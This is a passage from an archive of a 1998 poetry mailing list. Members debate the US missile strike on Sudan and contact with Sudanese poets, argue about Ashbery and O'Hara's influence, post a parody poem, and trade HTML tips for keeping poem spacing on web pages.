To the citizen or the police;
We must love one another or die."

--Auden, from "September 1, 1939"

daniel bouchard

<<<<<<>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

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631. **Mark Prejsnar**
Cooks run State, Have Rich Inner Lives
Thu 27 Aug 1998

I think the originator of this phrase, (Mark Weiss) meant that **many people in general** including Sears managers in some cases, do have rich inner lives. He was using the phrase to refer to the people wounded and killed in the two African anti-U.S. attacks.

Those attacks didn't take place at major universities, or whatever.

And i second Mark W. on this: i've known a few janitors and factory workers with rich inner lives (just horribly depauperate checking accounts!)

The original (rather jaunty) post wasn't as elitist in its assumptions about richness and innerness as your approach quoted below, Jonathan.

---Mark "spartacus" Prejsnar

On Wed, 26 Aug 1998, MAYHEW wrote:

> *My inner life has been exceedingly impoverished of late, I hope that doesn't make me a legitimate target for bombing.*
>
> *Seriously, though, this is a problematic concept,at best, what is a "rich" inner life, anyway? If the unexamined life is not worth living, then do non-reflective people become less valuable, by implication? Or else are we denying this quality of self-examination, say, to those who work at the pentagon, by appealing to the "banality of evil" principle? (as I have read in several posts). Is this any better than demonizing them? What if we can't simply condescend, intellectually, to those in the pentagon? What if they are as self-reflective and worthy of our respect, say, as managers at Sears? What makes us so superior to them (the Sears managers) in the first place?*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*
> *University of Kansas*
> [redacted]

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632. **Mark Prejsnar**
the Pentagon's employers
Thu 27 Aug 1998

I would argue that if you think they're working for us, you are dwelling happily in Cloud-kuuukuuuLand.

They work for a series of layers of political hacks, who are drawn from and who serve (exclusively) the owners of capital.

Now it's possible to change this, but it is veeeery slow. But you wanna change the military adventures, (while in the meantime it's a good thing to organize against 'em directly) you gotta ultimately change who has power.

You start by deepsixing the one-party system, and its pseudo-party with two right wings, the Republicrats.

And yes there are ways to do this; but this ain't a socialist-strategy listserv, so 'nuff said.

Mark "Che" Prejsnar

On Thu, 27 Aug 1998, david bromige wrote:

> *Want to address Listafarians on this topic of the military. They work for us. We pay them. I would like to have a surer sense that they realize they are our employees, wouldn't you? Same goes for other government employees. They are our servants, right? What went wrong ? That we are the cattle of the Masai? Are we captive? Or aren't we? Is this why it doesn't much matter what we think or say about matters of public policy? Is this why words die around such topics? Does anybody see any way out, any way to restore the situation to its proper sets of relation, any means to reverse this reversed governance? Really? db3*

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633. **henry**

Re: warlox-on-bagel, pentagram, an address

Thu 27 Aug 1998

Dan, I respect your position & am very close to it. It is good to be reminded about Panama & other shameful military actions. Where I disagree is the argument that the US govt-military is a monolithic & constant force for evil in the world & that forums for opposition to state violence in general are ineffectual & meaningless & therefore all we can do is crank up the left-hysteria rhetoric which really does "demonize" the US & the US military. This to me is unrealistic & even unfair in a world-system that also includes Russia, China, Sudan, Afghanistan, Iraq, Palestine, Israel, Libya... various countries I would hesitate to characterize as innocent victims or harmless nonviolent governments. As I tried to suggest, the challenge should be to get at the roots of international justice & "peace law" rather than jack up the rhetoric. Righteous indignation and blind self-righteousness - patriotism & jingoism... protest may be a moral imperative, but I was responding to D. Bromige's open question about HOW to proceed. No more talk from me. - Henry G.

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634. **Michael Magee**
Re: Cooks run State, Have Rich Inner Lives
Thu 27 Aug 1998

A quick defense of myself: I didn't mean to imply that Sears managers *in general* had no rich inner life (else a listmember e-mail to say, hey, my dad is a sears manager...) - only that beautifully hypothetical *"right-wing-asshole-Sears-managers"* had no rich inner-life, and, hypothetically speaking, I would stand by this. :) -m.

According to
Mark Prejsnar:
> > I think the originator of this phrase, (Mark Weiss) meant that **many
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> ---Mark "spartacus" Prejsnar
>
>
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> > Seriously, though, this is a problematic concept,at best, what is a "rich"
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> > What if they are as self-reflective and worthy of our respect, say, as
> > managers at Sears? What makes us so superior to them (the Sears
> > managers) in the first place?
> >
> > Jonathan Mayhew
> > Department of Spanish and Portuguese
> > University of Kansas
> > [redacted]
> > [redacted]
> >
>

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635. Bradford J Senning
Re: Cooks run State, Have Rich Inner Lives
Thu 27 Aug 1998

On Thu, 27 Aug 1998, Michael Magee wrote:

> *A quick defense of myself: I didn't mean to imply that Sears managers *in general* had no rich inner life (else a listmember e-mail to say, hey, my dad is a sears manager...) - only that beautifully hypothetical *"right-wing-asshole-Sears-managers"* had no rich inner-life, and, hypothetically speaking, I would stand by this. :) -m.*

Hey, *I* used to be a Sears manager. You don't want to know what they say about hypothetical academics, especially when your thinking of quitting your job in order to become one.

Bradford Senning

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636. KENT JOHNSON
Brainwashed Sudanese poets
Thu 27 Aug 1998

Ah, that great, long letter from Dan Bouchard, to whom I take my hat off on this issue. Henry, just a quick point: Your caution that the nature of the Sudanese government be checked into before anyone enters (naively, I guess) into contact with Sudanese poets is uncharacteristically silly on your part. Who ever said anything about Sudan's government as noble entity? And why do you seem to assume that Sudanese poets would not be among the first to educate us on the repressive aspects of their government? Hoo boy, Henry!

Item 1: There is a letter in today's NY T'imes that asks a wonderfully simple question: The writer points out that the U.S. govt. has been harboring terrorists from various countries for years, allowing them to operate with de facto impunity from U.S. soil (the most obvious example being Cuban "freedom fighters" who have blown-up civilian airliners in mid-flight, carried out germ-warfare attacks on Cuban agriculture, bombed buildings in Havana, and so on. Given the righteous U.S argument about pre-emptive self-defense, is not the Cuban government now more than justified to retaliate against Little Havana targets in Miami? Hmmm...

Item 2: There is mounting evidence (see also today's NY Times) that this "bin Laden VX factory" was nothing more than an unguarded pharmaceutical factory producing commercial drugs.

And let's check-out the Sudan poetry web-sites put up by Ramez Ejaz Qureshi. Perhaps a statement opposing the missle strike signed jointly by American and Sudanese poets? Anyone think this might be a good idea if it's feasible?

Kent

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637. **henry**
Re: Brainwashed Sudanese poets
Thu 27 Aug 1998

On Thu, 27 Aug 1998 13:19:21 -0500 KENT JOHNSON said:
>off on this issue. Henry, just a quick point: Your caution that the
>nature of the Sudanese government be checked into before anyone
>enters (naively, I guess) into contact with Sudanese poets is
>uncharacteristically silly on your part. Who ever said anything
>about Sudan's government as noble entity? And why do you seem to
>assume that Sudanese poets would not be among the first to educate us
>on the repressive aspects of their government? Hoo boy, Henry!

I resent that, Kent. I'm ALWAYS silly. But hey. I didn't say check into the history of Sudan BEFORE you check the poets. I said ALONG WITH. You might also check the long silly history of US literary-cultural enthusiasms for things foreign & exciting (say, 30s enthusiasms for official stalinist artists), all in a good cause... - Henry

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638. joel lewis
f.y.i.
Thu 27 Aug 1998

* The latest British company to hire a poet-in-residence is the London Zoo. According to director-general Richard Burge, the poet's jobs will include writing guides in rhyme for visitors and "help[ing] to interpret the lives of the animals." News of the Weird reported earlier this year that the large department store Marks & Spencer had hired a poet two days a week, and since then, the British Broadcasting Corporation and a professional soccer team have hired poets (although the soccer team is still in last place in the Premier League).

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639. Christopher Reiner
new WITZ
Thu 27 Aug 1998

Ron Silliman wrote:

>I want to call attention to Peter Quartermain's wonderful piece on Bruce Andrews' work (esp. _Lip Service_) in the current issue of _Witz._ It's the best piece I've read on Bruce's work and makes me hungry for the forthcoming _Aerial_ on Mr. A.
>

Now here's a chance to see for yourself...

WITZ

VOLUME SIX, NUMBER 2

SUMMER 1998

Peter Quartermain on Bruce Andrews's _Lip Service_:

"Reading the poem is a bit like listening in on the powder-room of a somewhat sleazy night club in the down-market end of town on a big night out, the sort of coversation, peppered with smutty jokes, obscenity, and scorn for human tenderness and individuality, with boastfulness and derision about sexual performance and the human body, more traditionally or conventionally associated with men in country-club locker rooms than with woman as traditionally viewed in public discorse, as a sexual object or as Beloved...."

Juliana Spahr on Nick Piombino's _Light Street_:

"What interests me about Piombino's work is his emphasis on how language can heal, rather than how our world is fractured. I read his work as a primer that

says here we are post-Sassure, post-Vietnam, now how do we keep from going crazy...."

Also featuring Guy Bennett on Liz Waldner, Standard Schaefer on Martha Ronk, and Brian Lucas on Norma Cole.

$4 (check payable to Christopher Reiner) from

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Witz Archives at the Electronic Poetry Center:
http://www.wings.buffalo/epc/ezines/witz

Witz on the Web http://www.litpress.com

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640. KENT JOHNSON
Re: Brainwashed Sudanese poets
Thu 27 Aug 1998

On August 27, Henry Gould wrote:

> *I resent that, Kent. I'm ALWAYS silly. But hey. I didn't say check into the history of Sudan BEFORE you check the poets. I said ALONG WITH. You might also check the long silly history of US literary-cultural enthusiasms for things foreign and exciting (say, 30's enthusiasms for official stalinist artists)*

Oh, OK Henry. I'll be sure to inform myself that Sudan is a repressive police state WHILE I try to dialogue with some poets there. That way I won't become confused and misled. And I'll be sure to be wearing my desert turban WHILE I do this, because this will make it more exciting.

(By the way, it sure is funny hearing you scolding away about US poets' foreign enthusiasms. Hoo boy!)

Kent

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641. henry
Re: Brainwashed Sudanese poets
Thu 27 Aug 1998

On Thu, 27 Aug 1998 14:25:11 -0500 KENT JOHNSON said:
>
>Oh, OK Henry. I'll be sure to inform myself that Sudan is a
>repressive police state WHILE I try to dialogue with some poets
>there. That way I won't become confused and misled. And I'll be sure

>to be wearing my desert turban WHILE I do this, because this will
>make it more exciting.

Maybe you could kill 2 birds with one stone by making prison the first stop on your itinerary. - Henry

When the goldfinch in the airy pastry
Suddenly, heartfully begins to tremble,
The scholarly cloak is peppered with spite,
And the skullcap is blackened.

The little pole and board spread slander,
So does the cage with its hundred spokes,
And everything in the world is inside out
And there is a forest Salamanca
For disobedient, clever birds.

- Mandelstam, VORONEZH NOTEBOOKS (during his last months in exile, Mandelstam began to identify with a medieval Spanish-Jewish poet, Luis de Leon, of the Univ. of Salamanca, who composed a sonnet a day while imprisoned by the Inquisition.)

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642. **Judy Roitman**

Re: Brainwashed Sudanese poets

Thu 27 Aug 1998

> *Ah, that great, long letter from Dan Bouchard, to whom I take my hat off on this issue. Henry, just a quick point: Your caution that the nature of the Sudanese government be checked into before anyone enters (naively, I guess) into contact with Sudanese poets is uncharacteristically silly on your part. Who ever said anything about Sudan's government as noble entity? And why do you seem to assume that Sudanese poets would not be among the first to educate us on the repressive aspects of their government?*

Can't speak for Henry, but speaking for myself --- maybe because it could get them killed? Or at least jailed & tortured?

Any notion that people necessarily can speak freely is more than a little naive. I remember driving through then-East Berlin in a car with windows closed with a then-East German colleague who would not talk about anything remotely political, so fearful was he of the government. Bad as EG was back then (and it was pretty terrible) it was not as bad as many places today.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |

memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

643. **A. Jenn Sondheim**
Re: Brainwashed Sudanese poets (fwd)
Thu 27 Aug 1998

I tried one of the URLs, which said the page didn't exist. I think a joint statement would be a good idea - especially in light of the new information re: the chemical weapons factory. Anyway, you might want to check the URLs and re-post? Perhaps there were errors?

Two other points - where there is of course a category "Sudanese poets" who would or could make such a joint statement - and I worry always about naivete; when I reread Kristeva On Chinese Women, for example... But too often we're manipulated by events here as well - in both the Gulf War, and now this, the control of information has reached unprecedented heights - we literally do not know who is acting in our name, and what they are doing. So a statement or at least the gesture of moving towards a state- ment, is at least a statement itself, that we can speak - that the fact that we don't know all the facts is itself problematic.

Alan

↑ Index

644. **David W. McFadden**
Re: Ashbery Review
Thu 27 Aug 1998

[redacted] writes:
>I confess too having a very formalist opinion on the matter of over-
>production. Who cares about the degree of "inspiration" or whatever
>romantic
>formulation of that sort behind a poem as long as the poem itself stands
>on
>its own?
You have to practise every day. Everybody knows that. But every now and then you have to change the sheets.
dwm

"Fame, recognition - all that kind of thing is a phenomenon of rather dubious shape which death alone places in true perspective."
- Vladimir Nabokov.

↑ Index

645. KENT JOHNSON
Re: Brainwashed Sudanese poets
Thu 27 Aug 1998

On Aug. 27, Judy Roitman wrote:

> *Can't speak for Henry, but speaking for myself---maybe because it could get them killed? Or at least jailed & tortured?*

Certainly true, Judy. I am thinking, actually, that there may be poets and intellectuals from the Sudan living abroad or in forcible exile, and that these may be the most likely to have access to the WWW. But I am not certain about this.

Still, the wonderful NY Times article I mentioned yesterday on the Islamic scholar from Khartoum did seem to point to a willingness by at least some intellectuals inside Sudan to speak out in opposition to their govt's policies. In fact, if I can borrow your phrase, history shows that it is more than a little naive to think that repression leads to intimidated silence across the board.

Kent

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646. david bromige
workin' for the man (was warlox-on-bagel)
Thu 27 Aug 1998

Dear me Mark, you have only to read my post to become aware that I know what the current situation is, i.e., one that renders the statement "they work for us" on the face of it absurd. But I saw value in asserting the truth : we pay them; they serve us. This truth is honored, like they say, in the breach not the observance, but it had better remain the truth, for else the lies we live among will take its place.

I find your sketch for changing the present and for releasing us from Babylonian captivity, well, sketchy. What might be a first step? Could you admit it if you thought that there could be none? David

↑ Index

647. **miekal and**
like begging for quarters
Thu 27 Aug 1998

could someone fire me Maria Damon's email address

miekal

↑ Index

648. **dbkk**
poetry on the web
Thu 27 Aug 1998

We're launching a new round of fine-tuning the Small Press Traffic website:

http://www.sptraffic.org

The September/October schedule is up, if any of you are curious.

Since much of the site is poetry reviews, we're trying to figure out the best way to quote poetry acurately, to maintain indents, spaces between words, etc. One possibility that's been considered is making a gif file out of a poem. Since we're trying to keep the site simple for people without a lot of computer power, that's not, perhaps, the ideal solution. Any suggestions on how to deal with maintaining spaces in poetry would be greatly appreciated.

Thanks.

Dodie

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649. **Chris Piuma**
Re: poetry on the web
Thu 27 Aug 1998

At 01:53 PM 8/27/98 -0700, you wrote:
>Since much of the site is poetry reviews, we're trying to figure out the
>best way to quote poetry acurately, to maintain indents, spaces between
>words, etc. One possibility that's been considered is making a gif file
>out of a poem. Since we're trying to keep the site simple for people
>without a lot of computer power, that's not, perhaps, the ideal solution.
>Any suggestions on how to deal with maintaining spaces in poetry would be
>greatly appreciated.

Well, there is the   code (IIRC) which will put a space in the text. Of course, since you can't be certain of which font the browser is using, you can't be certain that the text will line up properly.

Another possibility is putting the text in <pre> tags. That will make the text appear in a monospaced font, which might be kind of ugly, but you can maintain exactly the indentations you want and have them be the same on all browsers.

The first solution is better if you need the text to be indented regularly (every indented line can have 5   in front of it); the second is better for more complicated sets of indentations.

--
Chris Piuma, etc.
flim: a free page: http://www.brainlink.com/~cafard/flim/index.html

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650. david bromige
brainwashed sudanese poet
Thu 27 Aug 1998

I am a Brainwashed Sudanese Poet.
I have been taught my country
can be right or wrong,
I have learned give liberty lip-service
or I could be killed.

In my youth I praised the beauty to the skies
which then seemed safe enough. This was
politically incorrect some decades later.
In the finest academies our taxes could bear
I had my brains washed. As economy downturned
they had to make do with the laundromat.

I make new start over here.
English is most difficult language.
For politicians. Its plethora
of synonyms means the hypocrite
will always be disclosed
many thanks to his word-choice.

I regret to have lost friends in latest
international incident. Death seems so final
under present conditions of science.
Short-sighted of me. They had been
very much so until final seconds. Alive, I mean.

Thanks to brainwashing
the first person is used

or misused very much
when I write. This is because

hmm, well . . . I do not want
lumping together is category
provided. Mud hut cell
"room for one more" like hell.

Soon if spared to I shall do parody
of Brainwashed Yankee Poet in broken
Sudanese, with grammar-flaws for joke.
I shall begin, then I shall go on
otherwise to stop and alter course
prove me unmanly. But at the bottom
all poets are sibling rivals, common
under the dirt. And next to them,
all people living in the world I imagine.

Brainwashed Limey Poet Kipling
used term "fuzzy-wuzzy"
while wogs begin at Calais.
I have given away all my money.
My cogitations turn uncontinuously.
I like Brainwashed Gallic Poet
Rimbaud who say "My Romantic Brethren"
then lose his inventory to his exploitees.
With my looks I could have been one of these.

Show me a poet who is not brainwashed
and in return I show you a tabula rasa.
I love the house I was born in
as I love the desert rats who brought me up.
I am American too for my deep love of liberty
brands and stamps me one. My feel of justice
tortures my transatlantic soul excuse the term.

Hardly more than a child myself
I watched the children play to see
justice is born in the brainwashed bone.
I fell asleep. In the dream I am
able to meet Evil. He look just
terrible, like me or you
in a rage. Otherwise I sit at coffeeshop
and watch veils. Scribble, scribble.
Not much good can come of that,

my illiterate companions show their teeth.
Some are all I have, except Wednesdays.

Power, billions of money, slaves. These count.
I was glad when the Crude missiles missed me.
Brainwashed Sudanese Poets don't grow on trees.
We are the consolation of our race
which is after all the human. But
it is intended for disconsolation
as Power's ultimate insult
to look at it and nowhere else.
Kill the motherfuckahs or it's your ass.
An American wrote on one of our walls.
Give me some money so I forget to say more.
In America there are blades of grass.

↑ Index

651. Mark Prejsnar
Workin' for the workin' class
Thu 27 Aug 1998

On Thu, 27 Aug 1998, david bromige wrote:

>
> I find your sketch for changing the present and for releasing us from
> Babylonian captivity, well, sketchy. What might be a first step? Could
you
> admit it if you thought that there could be none? David
>

Actually, i've said much of it here before--and thus my feeling that it could be inappropriate, as it is a matter of socialist strategy, not poetics.

Basically, we have to build the left through both electoral and other forms. The best approach in recent years is a form of mild social democracy, which (in my experience) is often quite effective in reaching a wide range of working people, and connecting up and giving impetus to things they already feel about the existing political fiasco. This form of mild social democracy is embodied currently in the Labor Party, the New Party, and in a coalition of Green, socialist and labor parties called the Independent Progressive Politics Network. I work with all these projects as much as i can.

The idea is to reach the huge majority of adults who don't vote (which has been growing since 1945) because they know the Republicrat machine is agin 'em, and not for 'em.

There needs to be greater unity. In fact most of the formations i've mentioned should work on merger, but won't be doing so in the next couple of years, fer sure.

See, there are plenty of "first steps." Why, the longest journey begins with one, i'm told....

in solidarity if not in step,
mark

↑ Index

652. **Jacques Debrot**
Re: Ashbery/Obsessing
Thu 27 Aug 1998

Gary Sullivan, in his response to an earlier post of mine, makes many intelligent observations, some critical, about my reading of the recent N(A)P anthology. He writes: "The impulse to polarize is academic, and by that I mean merely academic. My first response to your post would be a question: what do you gain by distinguishing between poets you imagine attend to one poet, versus poets you imagine attend to another?" I think the polarity I described in my post was already initially complicated by the fact that I identified its 2 elements in examples taken solely from work of Ashbery's cited in the _New Criterion_ review -- the inference can then easily be drawn that if the O'Haraesque surreal exists in Ashbery, it may certainly be present in, say, Stroffolino's poetry also. However, not only do I not mean, as Gary says I do, to "pitch Ashbery against O'Hara" but in fact think it would be a mistake to position either/or both of them "against . . . Langpo." _The Tennis Court Oath_, after all, is for Langpo, if it can be said to have one -- its most precursive text. (In fact Shoptaw, in his Ashbery book, shows how, in O'Hara's brief poem series, _Little Poems for the Admirers of Ashbery's "Europe'_, Ashbery's influence leads O'Hara to write, stylistically, quite persuasive Language poetry.) In any case, it wasn't from an "academic" perspective that I framed my remarks but, instead, as a poet -- that is, I am interested to know how it might be "possible" to write poems informed by Langpo when, in its aftermath, the very question of writing poetry at all has been problematized -- inasmuch, as Langpo --to recapitulate remarks I made earlier -- effectively challenges the very category "literature." Still, instead of seeing generational influence from the entirely negative perspective that Gary's post seems to suggest, I prefer to regard influence in a *collaborative* sense, NOT "Pierre Menards churning out various Quixotes, poetry reduced to juried dog show, poets as purebreds, poems spermal in function" [terrific & horrifying image Gary!], but -- oppositely -- as an undoing of social & psychic double binds, one that makes us aware of the process of writing itself & its context while at

the same time expropriating myths of origin & authenticity. The crucial question for me then is not, "is it original?" but "is it interesting?" (a question which would subsume others as well such as: is it reactionary? illegitimate? incredible?). In the N(A)P it struck me that many of the poets represented there had attempted to clear a space for their writing by *collaborating* with either Ashbery's more meditiative poetry or with the O'Hara of "2nd Ave," or "Biotherm." While I didn't at all mean to rule out other influences, or a confluence of these influences, these 2 seemed, to me, to be dominant. In fact I think I prefered the O'Haraesque precisely for the reason that it seems more capacious, more susceptible to "contamination" from other poetics. (Of course this polarity does not really begin to account for the variousness of the present scene -- for instance I found the poems chosen for _Moving Borders_ less assimilable to a heurmeneutic &, partly for this reason, more successful.) As for the "authority" of the N(A)P, it seems, I agree, conceived of very much like a magazine, but the "semiotics" of the anthology form -- no matter how strenuously the traditionalist understanding of the anthology is depreciated by the editors -- make it appear inevitably to reach for a greater "weight" -- not to mention the practical consequences of its wider distribution.

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653. **Mark Weiss**

Re: Brainwashed Sudanese poets

Thu 27 Aug 1998

Look, if we have to have this discussion on the list let's just avoid spin. Today's Times article about the chemical trace found at the Sudanese factory says that it's unlikely, but remotely possible, that the compound in question could have commercial uses, although none of the sources quoted knows of any current such uses. The Islamic scholar, who sounds like a very nice man, thinks that the US, rather than treating the Sudan as a pariah state, should reward it by acknowledging its very few anti-terrorist gestures, among them the ouster of bin Laden so that he could do business elsewhere. He also suggests that rather than send missiles the US should stage an Entebbe-style military raid on Afghanistan to kidnap bin Laden. I'm not sure that either action would win us a lot of friends. Let's remember, on the subject of US reward for good behavior, that Sudan is not too highly regarded in sub-Saharan Africa, perhaps because it has been slaughtering hundreds of thousands of its non-muslim, non-arab sub-Saharan citizens for years. Sudan itself is perhaps the worst artifact of bad colonial map-drawing--there are almost no cultural affinities and no traditional ties uniting its two parts. And on the matter of kidnapping, if Afghanistan considers the missiles a violation of sovereignty it's not hard to predict what they'd say about a military force on their soil.

If we're going to cite the Times, by the way, it reports that in an apparent attempt to nudge policy a bit out of its current groove the Justice Dept. has indicted a bunch of well-placed Cuban exiles for plotting to assassinate Castro. Maybe the monolith is developing a few facets.

Why, given the current paucity of information, do we as citizens have to decide the issue faster than a speeding sound-bite? Why, more to the point, absent sufficient knowledge, do we have to arrive at an opinion by the application of formulaic political theory? Especially in this crowd, which tends to be hostile to formulas in most other areas?

By the way, the one suggested Sudan poet site that I was able to reach is a list of authors with descriptions of their careers and some blurbs, but no texts. Of the only three in English, one writer is English born, bred, credentialed and resident, of a Sudanese father and an English mother. He does apparently write about Sudanese politics. Another is sub-Saharan. The third I believe lives in exile. All are primarily novelists, although one is said to write poetry as well.

At 02:57 PM 8/27/98 -0500, you wrote:
>On Aug. 27, Judy Roitman wrote:
>
>>Can't speak for Henry, but speaking for myself---maybe because it
>>could get them killed? Or at least jailed & tortured?
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>Certainly true, Judy. I am thinking, actually, that there may be
>poets and intellectuals from the Sudan living abroad or in forcible
>exile, and that these may be the most likely to have access to the
>WWW. But I am not certain about this.
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>Still, the wonderful NY Times article I mentioned yesterday on the
>Islamic scholar from Khartoum did seem to point to a willingness by
>at least some intellectuals inside Sudan to speak out in opposition
>to their govt's policies. In fact, if I can borrow your phrase,
>history shows that it is more than a little naive to think that
>repression leads to intimidated silence across the board.
>
>Kent
>
>

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654. **David Baratier**
Re: poetry on the web
Thu 27 Aug 1998

Or if the text is real complicated & swirls all over I'd use a gif file, cut it apart using Fireworks then place the setting for a 14.4 modem at a pacing under 30 seconds.

Be well

David Baratier

>Since much of the site is poetry reviews, we're trying to figure out
the
>best way to quote poetry acurately, to maintain indents, spaces between

>words, etc. One possibility that's been considered is making a gif
file
>out of a poem. Since we're trying to keep the site simple for people
>without a lot of computer power, that's not, perhaps, the ideal
solution.
>Any suggestions on how to deal with maintaining spaces in poetry would
be
>greatly appreciated.
>
>Thanks.
>
>Dodie

↑ Index

655. **Thomas Bell**
Re: poetry on the web
Thu 27 Aug 1998

If indentation and placement are crucial (which theey are) you could also look at some of the things vispoets have done, e.g., make the poem an image and treat it as such.

tom bell

Chris Piuma wrote:
>
> At 01:53 PM 8/27/98 -0700, you wrote:
> >Since much of the site is poetry reviews, we're trying to figure out the
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> maintain exactly the indentations you want and have them be the same on all
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> The first solution is better if you need the text to be indented regularly
> (every indented line can have 5   in front of it); the second is
> better for more complicated sets of indentations.
>
> --
> Chris Piuma, etc.
> flim: a free page: http://www.brainlink.com/~cafard/flim/index.html

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656. **r. drake**

Re: poetry on the web

Thu 27 Aug 1998

---

the <blockquote> tag will indent a section of text,
but long lines or narrow windows or large fonts on
the client browser will wreck th linebreaks...
<pre> is preferable, as far as i'm concerned, both
to maintain linebreaks and inter-word spacing--
& if you add font face tags you can override the
ugly monospaced fonts that're the default fr most
browsers...

luigi
burningpress

> *We're launching a new round of fine-tuning the Small Press Traffic website:*
>
> *http://www.sptraffic.org*
>
> *The September/October schedule is up, if any of you are curious.*

> *Since much of the site is poetry reviews, we're trying to figure out the best way to quote poetry acurately, to maintain indents, spaces between words, etc. One possibility that's been considered is making a gif file out of a poem. Since we're trying to keep the site simple for people without a lot of computer power, that's not, perhaps, the ideal solution. Any suggestions on how to deal with maintaining spaces in poetry would be greatly appreciated.*
>
> *Thanks.*
>
> *Dodie*

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657. **miekal and**

Re: Masha Zavialov email/Russain Poetry Festival (fwd)

Thu 27 Aug 1998

can anyone repost the original message about the festival?

miekal

↑ Index

658. **Billy Little**

Re: Written to Avoid Obsessing about Women

Thu 27 Aug 1998

beautiful post gary you should do an anthology or a mag with an isbn see if i care but my guess would be that phil whalen has a profounder influence on this generation whether they read ashberry more or not, ashberry/ohara dichotomy is like downtown and uptown, very new york, very provincial or parochial, narrow world view like new yorkers seeing thru those little slots between the scrapers thinking the sky is thirty yards wide and half filled by the goodyear blimp, bill bissett has had a profounder influence that john ashberry, bp nichol ashberry is cool but if anybody is trying to write like him..., i'd say the real dichotomy is david antin and jerry rothenberg these are men who keep making a difference, james koller, john cage, james schuyler, lenore kandel and joanne kyger the east bay south bay dichotomy they've made more of a difference than ashberry ever will, roberts creeley and duncan there's a dichotomy, New yorkers need to try the second note on the pennywhistle, Michael McClure and Diane DiPrima, the coyote/wolf dichotomy when you get right down to it Stephen Rodefer and Heathcote Williams have had more influence on this generation than Ashberry, Ashberry/ OHara a difference, it is to laugh, the New Yuck School eclipses the sun.

billy little
4 song st.
nowhere, b.c. V0R1Z0

ah! those strange people who have the courage to be unhappy! Are they unhappy, by the way?

Alice James

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659. **Billy Little**
Re: poetry on the web
Thu 27 Aug 1998

> *Any suggestions on how to deal with maintaining spaces in poetry would be greatly appreciated.*
>
> *Thanks.*
>
> *Dodie*

html is not difficult nor does it require java

billy little
4 song st.
nowhere, b.c. V0R1Z0

ah! those strange people who have the courage to be unhappy! Are they unhappy, by the way?

Alice James

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660. **Jordan Davis**
"hypothetical back to school night"
Fri 28 Aug 1998

Gary --

Great list. You got the resources, you go girl. But -- Jacques I think had a point, that there was an ashberyan drift, and then there was something else. Your roommate, he deny the drift? He deny the isbn? Hm. Cool, ya?

Meanwhile, there is this world that is increasingly full of amputees. Poetry, american poetry, bleagh. What love is there if no one is an ambulance driver in these discontinous melanging foreign wars. We go?

Kent, if you're starting a united nations, send me a cardboard box to take donations. I think it is deeply appropriate for poets to talk wherever they are.

With love,
Jordan

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661. **Ramez Ejaz Qureshi**
Re: the write to a bad language
Fri 28 Aug 1998

Fred Hertzberg: Julie Kristeva's Revolution in Poetic Language very much addresses "the write to a bad language."
-RQ

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662. **david bromige**
re : written to avoid obsessing . . .
Fri 28 Aug 1998

Well spoken-out, Billy, Phil Whalen has been a wide, wide influence, he proposed a poetry in which ANYTHING can enter, although not everything could exit, like "I want this and I want that," but never mind, he was the big W Coast organist to keep Olson in perspective, there's a pairing for you, a polar pairing, Olson/Whalen, although not quite as amazing as your Rodefer/Heathcote Williams. Might be healthy to try to come up with some equally asymmerical couplings.

When is there going to be a Philip Whalen Conference/Celebration as there was for Robin Blaser back in '95 when the world and we were young? Robin himself suggested just such an event.

I hope everyone on this List owns a copy of _On Bear's Head_ . They must have printed plenty because they were remaindered everywhere. Influence--funny word, as Dorn remarks. Upon whom? Upon the succeeding gen of poets, of a certain bent, absolutely; not so much upon the scholar-critics who canonize, though, as Ashbery or O'H. Under that kind of focus, Whalen turns elusive.

Is there any place in Ash or O'H where the author confides the tonal equivalent of "I must stop masturbating so often" ? If not, be worth asking why . Uncool? Whalen is also pretty spacey. Thats definitely uncool in NYC, no? Noone wants to be the airhead....well, gotta go. Have a nice day. David.

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663. **Douglas Oliver**
Re: Sudanese poets
Fri 28 Aug 1998

I've been following the Sudanese situation fairly closely for about five years because of a book I'm publishing shortly, and I was very glad to see Mark Weiss mention how the country was saddled with a disastrous colonial boundary.

There is no excuse for the million + deaths that have occurred in the civil war together with the recent neglected famine (when thousands of lives could have been saved if there had been a more accommodating attitude towards aid in Khartoum. A truce was granted only when the roads were likely to be impassable for the military) But Mark rightly points to the huge problem established after General Gordon's crazy heroics in the 1880s, memorably made more crazy by Charlton Heston with Laurence Olivier playing the Mahdi. You have Islam in the north, now heavily influenced by El Tourabi and the Brotherhood movement, and Christian, animist, and various left-wing groups in the south. Sudan was a country hotched up as a result of fallout from the Egyptian situation of that time. Then you add the modern ingredients:

Everyone says these days that the retreat into Islamic integrationism in the Arab world has been partly a response to Western capitalistic imperialism -- excellent op ed by Graham E. Fuller, former vice-chair of the National Intelligence Council at the CIA in Los Angeles Times a day back on addressing Muslims' real problems. However, the article strangely made no mention of the uninvolved Africans killed in Kenya, which is the unfortunately usual blindness. Once you have a fundamentalist demand in Khartoum that state and religion be combined and that Sharia law should rule the system, there can be no breakaway from this -- by strict belief, a jihad immediately threatens any major attempt at this.

A theoretical answer would be for southern Sudan to secede, the ancient colonial arrogance at map-drawing to be rectified and the borders to be rationalised in some way. Unfortunately, the northern lands are comparatively poor while minerals and oil have been discovered in the south. Politically, secession is impossible. Religiously, unity is an absolute requirement. Under other circumstances, one might regret the interference of Christianity which has been helping to divide a state already divided against itself; but the integrationist attitude towards women, etc., makes an Islamic state of this kind hard for any Westerner to contemplate comfortably.

This is a tremendous mess. The missiles have flown into Sudan from another world of politics. And they have complicated the future in some way as yet unguessable. I don't have much to say about them that has not already been said.

But I'd much appreciate it if Mark Weiss could post the website where he found those Sudanese writers. I've never heard the names of any that have stayed inside their own country (there must be some in exile, but I lack information). I find it hard to believe that any Islamic culture won't have its crop of poets, even conformist ones.

Doug Oliver

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664. **Sarah Hreha**
Re: Response to Mark Weiss/Sudanese poets
Fri 28 Aug 1998

"New Sudan Online" http://members.aol.com/NewSudan/Online.html

~~~~~~*~~~*~~~*~~~*

A. Sarah Hreha
Dept of Spanish and Portuguese
University of Minnesota
~~~~~~*~~~*~~~*~~~*

"En un momento dado me detuve
a fumar un cigarrillo y a pensar.
Ese fue mi error." Sergei Puertas

↑ Index

665. **Douglas**
Re: A Border Comedy
